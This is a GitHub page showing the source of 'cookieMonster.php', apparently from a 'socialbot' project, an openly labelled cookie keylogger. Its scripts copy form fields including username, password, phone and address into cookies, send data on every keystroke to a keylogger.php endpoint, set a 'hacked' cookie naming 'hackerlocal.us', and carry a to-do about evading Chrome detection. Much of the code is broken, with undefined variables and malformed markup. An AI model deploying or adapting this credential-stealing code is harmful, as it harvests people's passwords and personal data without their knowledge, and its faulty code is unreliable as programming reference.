-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcookieMonster.php
66 lines (54 loc) · 1.65 KB
/
cookieMonster.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php?>
<!-- Begins Cookie Monster Method-->
<!-- Cookie Keylogger code -->
<!-- End->
<!--{Function to create the cookie}-->
<script>
function createCookie(name, value, days) {
var expired = new Date(today.getTime() - 24 * 3600 * 1000); // less 24 hours
document.cookie=name + "=" + escape(value) + "; path=/; expires=" + expiry.toGMTString();
}</script>
<script type="text/javascript">
function getCookie(name)
{
var re = new RegExp(name + "=([^;]+)");
var value = re.exec(document.cookie);
return (value != null) ? unescape(value[1]) : null;
}</script>
<!--script type="text/javascript">
document.write(getCookie("keylogger"));
</script-->
<!--{stores the values}-->
<script>
function CookieMonster(form)
{
createCookie("name", form.name.value);
createCookie("firstName", form.name.value);
createCookie("lastName", form.name.value);
createCookie("phone", form.phone.value);
createCookie("address", form.address.value);
createCookie("username", form.username.value);
createCookie("password", form.password.value);
createCookie("email", form.email.value);
return true;
}
</script>
<script type="text/javascript">
/*TODO*/
/**fix request method and detection on chrome browser */
</script>
<?php $keylogger = $server."/keylogger.php?q="; ?>
<!--JavascriptKeloggerCookieThrower-->
<script>
$(document).keyup(function() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","localhost/socialbot/keylogger.php?q="+ cookie,true);
/*console.log(xmlhttp;)*/
});
</script>
<!--^ Pass value to php for Cookie Method ^-->
<script>
$(document).onload(function () {
createCookie("hacked", "hackerlocal.us", "1");
});
</script>